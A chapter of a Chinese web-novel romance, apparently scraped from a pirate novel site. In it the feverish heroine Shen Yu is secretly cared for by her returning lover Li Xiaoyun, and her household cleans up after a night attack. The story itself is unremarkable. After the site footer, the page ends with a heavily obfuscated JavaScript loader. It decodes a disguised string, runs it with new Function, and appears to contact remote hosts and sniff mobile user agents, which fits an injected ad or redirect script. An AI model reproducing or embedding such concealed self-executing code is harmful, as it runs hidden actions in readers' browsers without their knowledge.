第218章 重逢
她抬头一看,屋外的大雨总算小了些许。
漆黑的夜空暗沉压抑,仿佛一张巨口,随时能吞噬整座芙蓉阁。
被自己的脑补吓得一慌,画儿连忙撑伞快步离开后院。
画儿走后,整片后院陷入极致的黑暗与寂静。
只有主屋透出一点摇曳微弱的灯火,晃晃悠悠的,如同此刻虚弱不堪的沈妤。
沈妤不知何时昏昏沉沉睡了过去。
一阵窗棂响动,猛地将她惊醒。
睁眼的瞬间,她看见地面映出一道修长的黑影——
有人翻窗进来了!
哗啦一声水花响动,她知道自己已经暴露。
立刻翻身跳出浴桶,扯过一旁的毯子紧紧裹住身体。
她快速扫视四周,抓起浴室唯一的凳子防身,厉声喝问:“是谁!”
“哪来的贼人?可知此地是什么地方?我只要出声呼救,护卫立刻就到,取你性命!识相的立刻退走!”
她强撑着仅剩的力气,故作凶狠威慑对方。
可只有她自己清楚,此刻的她满心恐惧、毫无底气。
手边没有弓箭、没有防身毒药,全身只有一张薄毯蔽体,毫无反抗之力。
一旦对方心怀不轨,她根本无从招架,唯一的退路就是冲到药箱旁,拿毒药自保。
可诡异的是,窗外的黑影始终一动不动。
沈妤满心惊疑,明明睡前关好所有门窗,可那道黑影真切存在,绝非树影错觉。
对方动作极轻,却实实在在翻窗入室,将她从睡梦中惊醒。
冷汗瞬间浸透全身,敌人不动,她却不能坐以待毙。
她如今衣衫不整、处境狼狈,若是遇上歹人,今夜必然凶险!
当下最要紧的,就是立刻离开浴室,穿上衣物自保。
腿上的伤口火辣辣的疼,沈妤看着地上狼狈的倒影,咬牙慢慢往后挪,想趁机脱身。
她一时疏忽,忘了裹在身上的毯子下摆很长,一直拖在地面。
刚才慌乱裹住身体时,她没整理布料,后退的瞬间正好踩到布边。脚步一急,双腿互相牵绊,整个人重心不稳,直直朝后栽去。
“啊!”
惊呼声脱口而出,眼前天旋地转,她以为自己定会狠狠摔在地上。
预想的疼痛迟迟没有落下,沈妤心脏骤缩,惊恐盯着突然现身的黑影,浑身止不住发抖。
男人长臂一伸,一手揽住她的腰,一手稳稳托住她的后背。
掌心厚重的老茧蹭过她带伤的肌肤,带来一阵阵刺痛。
此刻她高烧不退,浑身滚烫,身体碰一下都格外难受。
她拼命扭动身体想要挣脱,一股浓重的血腥气扑面而来,让人胸闷反胃。
强压下恶心的感觉,她单手抓紧毯子护住身形,另一只手抓起一旁的凳子,奋力朝着来人挥去。
可她如今体虚无力,这点反抗根本微不足道,只是徒劳挣扎。
哪怕胜算渺茫,她也不肯束手就擒。
果不其然,凳子还没抬起来,她的手腕就被对方死死攥紧,动弹不得。
“放开我!你究竟是谁!”
沈妤涨红了脸,用尽仅剩的力气怒喝,脑子里飞速想着拼死自保的办法。
没等她想好对策,对方抬手快速摘掉了脸上的面罩。
“妤儿,是我。”
熟悉又低沉的嗓音响起,涣散的视线瞬间聚拢,沈妤彻底愣住,停下了所有动作。
竟然是黎霄云。
看到他的这一刻,她硬撑整晚的力气瞬间彻底抽空。
手中的凳子哐当落地,四肢瞬间软了下来。
“怎么是你……”
委屈瞬间涌上心头,眼眶瞬间湿润。泪珠还未滑落,黎霄云已经俯身,稳稳将她打横抱起。
“是我,对不起,我来晚了。”
“你现在发着高烧,先好好休息,等你好转,我把一切都告诉你。”
黎霄云的声音温柔又缱绻,瞬间安抚了她慌乱不安的心。
漂泊无依的心终于落定,她不再抗拒,乖乖任由他抱着走向床榻。
黎霄云小心翼翼将她安置躺好,沈妤刚拢好身上的毯子,就趴在床边剧烈干呕起来。
黎霄云眉头一紧,正要上前查看,却被她虚弱抬手制止。
“别靠近……你身上味道太重了……”
话音刚落,又是一阵干呕。
黎霄云瞬间僵在原地,满心无措。
他明明提前换了新衣,没想到依旧带着血腥味。
常年游走生死战场,他早已习惯这份气息,自己根本察觉不到。
满心愧疚涌上心头,他退后两步,轻声询问:“家里有退烧的药吗?我去给你熬。”
沈妤虚弱趴在床边,气息微弱地指路:“梳妆台旁的柜子,左下第三个抽屉,两味草药各取三钱,熬煮服用就能退烧。”
身体难受至极,她连说话都格外费力。
“安心躺着,我很快就好。”黎霄云柔声安抚。
沈妤努力睁着眼,生怕这是高烧产生的幻觉,一闭眼他就会消失。
可眼皮沉重得抬不起来,最终还是沉沉昏睡过去。
再次苏醒时,她正靠在黎霄云怀里。他坐在床边,耐心哄着她喝药。
“乖,再喝一点点。”
汤药苦涩难当,沈妤皱起眉头,轻轻摇头,最后还是乖乖张口咽下。
“真听话,再两口就喝完了。”黎霄云温柔夸赞。
沈妤鼓着嘴嗔怪:“你把我当小孩子哄呢?”
她抬眸望向眼前的人,时隔数月未见,他的眉眼愈发深邃沉稳,褪去了往日的青涩,多了几分成熟凌厉。
唯独看向她的眼神,依旧深情专一,满心满眼皆是她一人。
沈妤望着他的眼眸,险些彻底沦陷。
“在我这,你永远是小姑娘,把最后一口喝了。”
在他温柔的耐心哄劝下,沈妤喝完了整碗汤药。
药效发作极快,她没来得及多说几句,又一次陷入昏沉的睡意中。
朦胧间,她还暗自疑惑,刚才刺鼻的血腥味,此刻竟然完全消失了。
一场大汗过后,浑身燥热难耐,睡梦中的沈妤直接踢开了被褥。
哪怕身上无任何遮挡,燥热依旧不减,脖颈、前胸全是细密的汗珠。
她在床上辗转反侧,难受地轻哼不止。
她全然不知,自己此刻的模样,让守在床边的黎霄云心绪大乱、心神难平。
散落的青丝、白皙的肌肤,每一处都极具冲击力。
黎霄云久久伫立,僵硬转头,重重喘息。
这般克制隐忍,比身受重伤还要煎熬难熬。
他擦去鼻尖的血丝,强行压下心底翻涌的悸动,轻柔拿起毯子盖在她身上。
见她又要踢被,他伸手轻轻按住她乱动的双腿。
“别乱动,我帮你擦汗,乖乖盖好被子。”
回应他的,只有女孩难受细碎的嘤咛声。
对黎霄云来说,这般近距离的克制相守,每一秒都是极致的煎熬。
黎霄云脸颊发烫,咬牙定了定神,快步起身打了温水过来。
这一刻,他心里满是煎熬,格外局促。
他始终刻意移开视线,只敢用帕子轻轻擦拭她的脖颈和脸颊。
至于脖颈之下的肌肤,他半点都不敢触碰。
随后黎霄云拿来一把扇子,坐在床边,小心翼翼地给她缓缓扇风。
等她呼吸平稳、体温恢复正常后,他才着手帮她处理好了腿上的伤口。
天快亮的时候,看着沈妤安稳熟睡的模样,黎霄云忍不住低头,一遍遍轻吻她的额头。
“我看见你了。在上京城,还有昨晚前院的角落,我都看到你了,你知道吗?”
“谢谢你好好照江二郎,妤儿。”
“我真的很想你。”
“再等等我。”
沈妤迷迷糊糊间隐约听见了低语,可醒来之后,半点具体内容都记不清了。
她撑着额头坐起身,外头早已天光大亮。
浑身凉丝丝的触感让她心头一怔。
低头看清自己的模样,她瞬间吓了一跳。
她居然连贴身的肚兜都没穿!
顷刻间,她整张脸从额头红到耳根,再蔓延至脖颈,最后连浑身肌肤都染上一层绯红。
昨晚……是黎霄云来过这里吗?
她急忙环顾整间屋子。
门窗关得严严实实,屋里早已没了他的踪迹。
沈妤心头失落,只当是自己昨晚发高烧,做了一场不真切的梦。
就在这时,她的手无意间碰到了床头的木匣子。
沈妤心头猛地一跳。
这只桃木匣子,是去年上元节,黎霄云亲手做了送给她的节日礼物。
她瞬间心生期待,难道昨晚真的是他?
她立刻拿起匣子打开,里面整齐放着她的发簪、玉佩、小金牌,还有她攒了许久的银两和银票。
这可是她珍藏已久的私房钱!
沈妤又惊又喜。
当初她在破庙被采云的人掳走,这只匣子就遗失了,如今完好无损回来,肯定是黎霄云昨晚送来的。
里面的财物一分一毫都没少!
她抱着木匣,又暖又感动,眼眶微微泛红。
确认他真的来过,她紧紧裹住身上的薄被。
虽说心里又羞又窘,却没有丝毫别扭不适,只是脸颊滚烫,心跳快得停不下来。
她抬手扇了扇发烫的脸,忽然想起过往。
当初两人在上京城重逢,刻意装作互不相识;昨晚他明明出手救下遇险的芙蓉阁,两人却依旧刻意避开对视。
天亮之后,他自然不可能还留在这里。
两人之间的避嫌,竟比普通路人还要生疏。
但他愿意冒险悄悄来看自己,已经算是很好了。
想到这里,沈妤心里的委屈和酸涩,瞬间消散了大半。
看着腿上包扎好的伤口,还有床边摆放的蒲扇,她彻底确定昨晚的温柔低语不是梦境,心头涌上满满的甜蜜,身体也舒服了许多。
“姑娘,您醒啦?我给您送早饭来了。”
画儿的声音从门外传来,紧接着是轻轻的叩门声。
沈妤连忙起身穿好衣裳,才应声让画儿进来。
画儿把清淡的饭菜摆在小桌上,一边收拾一边疑惑地嘀咕:“我今早去灶房,看见药罐里有新鲜药渣,可雪梅姐说她今早才打算煎药,这药渣到底是谁熬的啊?”
沈妤想起昨晚喝的退烧药,药碗此刻还放在床边凳子上。
她沉默一瞬,随口遮掩:“是我夜里自己熬的,你别多问,倒掉就好。”
画儿满脸诧异,絮絮叨叨地追问起来,沈妤费了不少功夫,才把她安抚下去。
吃完早饭,沈妤依旧浑身乏力,还时不时咳嗽两声。
她确定自己是实打实染上风寒了。
太久没有生病,此刻双腿都有些发软。
但前院还有一堆事,她放心不下,只能强撑着身子。
她给自己挑了几副草药,近来为了给姚白治病,她屋里常备着不少药材。
包好草药后,她先去看了娅儿和甜甜。
两个小姑娘完全不清楚昨晚的凶险,反倒觉得众人同住一室格外新鲜,依旧无忧无虑地玩耍嬉闹。
沈妤放心下来,转身去往灶房。
雪梅正守着四个药罐煎药,锅里咕嘟作响,她忙得团团转。
看见沈妤过来,雪梅立刻上前回话:“姑娘,方才周婶她们想来串门,我自作主张把人打发走了。昨晚下过雨,前院还留着打斗痕迹和血迹,我怕她们看见乱猜惹麻烦,我这么做没错吧?”
沈妤笑着点头夸赞:“做得很好,我还没来得及叮嘱,你就考虑得这么周全。”
雪梅这才松了一口气。
沈妤看得出她熬了一整晚,早已疲惫不堪,心疼地摸了摸她的脸:“他们几个人情况怎么样?”
她知道,就算让雪梅去休息,对方也定然不肯。
雪梅神色放松地回道:“阿晨刚刚醒过一次,黑一他们三人还没醒,不过都没有性命危险,您放心。”
昨晚吴郎中诊治过后,又是针灸放血,又是包扎伤口,一直忙到天快亮才结束。
临走前他说会让人送来药方和抓好好的药材。
果然没过一个时辰,送药的人就上门了。
雪梅立刻把药煎上,想着赶紧给四人服下疗伤。
画儿忙完手头的活,便过来接替了雪梅的活计。
沈妤刚想自己煎药,就被画儿拦住了。
“姑娘!您再这样不爱惜自己,我真的要生气了!”
沈妤无奈,只好被她赶了出来。
不愿让画儿忧心,她便独自去了前院。
几间屋子的门窗破损严重,积水的地面上,还残留着没被雨水冲干净的血迹。
眼前一片狼藉,让沈妤暗自心惊,也彻底明白雪梅赶走旁人的用意,这般场景被人看见,必然会流言四起。
昨晚芙蓉阁闹出这么大的动静,周边住户不可能一点风声都听不到。
正如唐卿昨晚提醒的,锦衣卫很可能会上门查问,院子里乱糟糟的现场绝对不能被外人看见。
这会儿雪梅正在房里照看重伤的四名手下,黎二郎起床后,也主动过去帮忙搭把手。
沈妤正独自收拾那些坏掉歪斜的门窗,几声咳嗽刚好被黎二郎听见,他立马跑过来拦住她:“姐姐!你都生病不舒服了,还忙活这些干嘛?马上就有人回来处理杂事,你赶紧回后院躺着休息!”
沈妤轻声回道:“我身体没事,就是小风寒,冰窖的活儿耽误不得。”
做生意最讲究诚信。
往常都是李四桂负责运冰,可昨天她派李四桂进城看铺子,至少要两天才能回来。
本来打算让黑一或者黑二顶替运冰,
谁也没料到昨晚突然出事,所有人都受了伤。
没办法,沈妤只能自己去冰窖取冰、送货进城。
她身体本就虚弱,进了阴冷的地窖,哪怕裹紧外衣,还是冷得浑身发抖。
黎二郎不放心,也跟着钻进了地窖。
劝不住自家姐姐,他就只能默默帮忙干活。
黎二郎咬牙出力,陪着沈妤把冰块装好,两人一起费力将冰箱抬出地窖。
刚忙完手头的活,外院就传来了熟悉的喊声:“妤儿!”
沈妤瞬间面露喜色,转头对黎二郎说道:“二郎,是司甜姐她们回来了!”
果然是司甜,
不止她,司可和覃其也一同赶回了庄子。
看到沈妤安然无恙,司家姐妹心里满是愧疚。
昨夜前院打斗惨烈,黑家四人全都重伤卧床,她们不敢想象昨晚这里有多凶险。
好在沈妤和黎二郎都平安无事。
司可刚松了口气,黎二郎就急忙开口:“司可姐,我姐姐昨晚淋了一整夜的雨,全身都湿透了。画儿跟我说,她半夜还自己爬起来熬药,现在药又接着煮了。”
“她一直不停咳嗽,还硬撑着去搬冰干活,我怎么劝都不听,你快帮我说说她!”
黎二郎急得快要恳求众人帮忙。
他这番话,让司家姐妹尤其是司可,心里的愧疚更重了。
她当即包揽了院里所有杂活,不停催着沈妤回房静养,还特意让娅儿和甜甜守在床边照看她。
沈妤躺上床后,司可无意间看到了她腿上缠着的绷带。
“你腿上的伤是怎么回事?”
司可脸色瞬间沉了下来,抬起她的腿严肃追问。
沈妤想糊弄过去,结果彻底惹恼了司可:“你还想瞒着我?你不说,我就挨个去问二郎和雪梅!”
沈妤赶紧拉住她妥协:“别去问,我告诉你就是了。”
她先让床边两个小姑娘出去,随后把昨晚遇袭的经过简单说了一遍。
司可越听越心惊,满心后怕。
“就是一点小擦伤,早就处理好了,真不碍事……咳咳!”
话还没说完,沈妤就控制不住地剧烈咳嗽起来。
司可脸色难看又自责:“这也叫没事?都怪我!我不该贸然进城,太大意了。现在世道不太平,连城外庄子都不安全,是我连累了你。”
沈妤连忙想安慰她,司可又接着说道:“多亏唐卿天没亮就来报信,我们才能及时赶回来,是我考虑不周。”
沈妤连忙宽慰:“司可姐,这事跟你没关系,你别总怪自己。”
司可认真说道:“当初是你说,这庄子就是我们所有人的家。现在家被人闯了,我却没能护住大家,我实在过意不去。”
沈妤一时语塞,不知道该怎么接话。
平复好情绪后,司可扶着她的肩膀认真交代:“妤儿,你安心养病,院里所有琐事都不用你管。”
“冰饮生意交给司甜打理,她已经去取冰了,马上就回来。有她和瑾之盯着,生意肯定不会出问题,你彻底放心。”
“前后院所有事务我来打理,真遇到解决不了的大事,我再来找你商量。你好好休息,我先去忙了。”
说完,司可便匆匆出门处理事务。
中午的时候,姚白和满团也赶回了庄子。
两人进门看到前院一片狼藉,当场愣住,满脸震惊。
司可随即把昨夜被偷袭的事情告知二人,
两人听完瞬间怒火滔天。
姚白一拳狠狠砸在墙上,怒声骂道:“这群锦衣卫太过分!昨晚我要是在,绝对不会让他们得逞!”
姚白周身戾气十足,连满团都不敢多言。
他特意绕到后院窗边,确认沈妤平安无事,才放心回去前院忙活。
经过这件事,姚白再也没有夜里离开过庄子。
一下午的时间,众人就把前院收拾修缮完毕:
破损的门窗全部修好;
地面血迹彻底冲洗干净;
松动的屋顶瓦片全部复位;
箭矢、碎石、杂物全部清理一空,看不出半点打斗痕迹。
天黑的时候,李四桂和杨虎也回来了。
两人不清楚昨夜的变故,只听说黑家四人重伤。
问到受伤原因,雪梅全程按照唐卿提前交代的说法回应。
二人听完无比震惊,暗自庆幸大家性命无忧。
入夜之后,
沈妤吃了一天的药,精神好了很多,
只是咳嗽还没痊愈,需要慢慢休养几天。
司可看得极严,根本不让她下床走动,
除了起身更衣如厕,几乎不让她多动一下。
沈妤只能乖乖听话。
只要她敢说自己没事,司可就眼眶发红、满脸自责,看着快要哭了。
沈妤实在拗不过她,只能乖乖躺在床上看书消磨时间。
她把烛火挪到枕边,看得太过入迷,完全忘了时间。
就在这时,一道低沉温柔的声音在耳边响起:“别看得太久,伤眼睛。”
沈妤又惊又喜,立刻抬头看向来人。
“你终于来啦!”
沈妤立马放下手中的书本,眼里瞬间亮起光彩,主动朝突然出现的黎霄云伸出了手。
黎霄云没有丝毫犹豫,快步上前坐在床边,微微俯身,任由沈妤伸手搂住他的脖子。
他同时伸出手臂,稳稳圈住沈妤纤细的腰身,将她紧紧抱在怀里。
二人静静相拥,真切地感受着彼此的存在。
时隔数月的分离,这一刻才算真正意义上的重逢。
温存片刻后,沈妤轻轻推开他一点,双手捧着他的脸颊。
“昨晚太仓促,都没好好看你,我瞅瞅,你有没有变样子?”
她的手心带着丝丝凉意。
一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();